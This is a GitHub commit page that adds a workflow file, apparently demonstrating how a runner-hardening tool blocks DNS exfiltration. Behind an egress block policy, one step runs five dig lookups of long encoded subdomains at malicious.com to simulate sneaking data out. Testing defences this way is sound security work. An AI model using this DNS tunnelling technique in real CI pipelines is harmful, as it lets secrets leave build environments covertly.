Skip to content

Commit

Permalink
Merge pull request #202 from step-security/ashishkurmi-patch-2
Browse files Browse the repository at this point in the history
Create block-dns-exfiltration.yaml
  • Loading branch information
ashishkurmi authored Dec 16, 2024
2 parents ee5266d + db81d1d commit 2d51a29
Showing 1 changed file with 26 additions and 0 deletions.
26 changes: 26 additions & 0 deletions .github/workflows/block-dns-exfiltration.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: Block DNS Exfiltration With Harden-Runner
on:
workflow_dispatch:
jobs:
build:
name: Deploy
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
egress-policy: block
allowed-endpoints: |
github.com:443
- name: Code Checkout
uses: actions/checkout@v4

# DNS Data Exfiltration
- name: DNS Data Exfiltration
run: |
dig wI25mMRFgqmHdg6Se7F3qcRPg6mHxTXgoroAcQcu0ukreCZVj3ccl1OE4nhT.malicious.com
dig AjgjtZpoQFBk3CA9x2ic1OL4X6cSAbpPGscvTcxlZshd52cmJz6vYf4voTmo.malicious.com
dig uVqkyYsy48uC9q6oZEirkVK7sdHaSCx5v5BitwaBnTjKsjlRamhW6vP1pXNu.malicious.com
dig M6VzSkW4v7KPE0SILITZxLnrrBJiSxRYb0hUBiFJdIz2VpBJwkNOH3MEhesc.malicious.com
dig xd2rqUt1L0RN8IbthvNkOCyhR2FHneUESSM12Gq6ToNxFZkFY0W5KWUnxLtN.malicious.com

0 comments on commit 2d51a29

Please sign in to comment.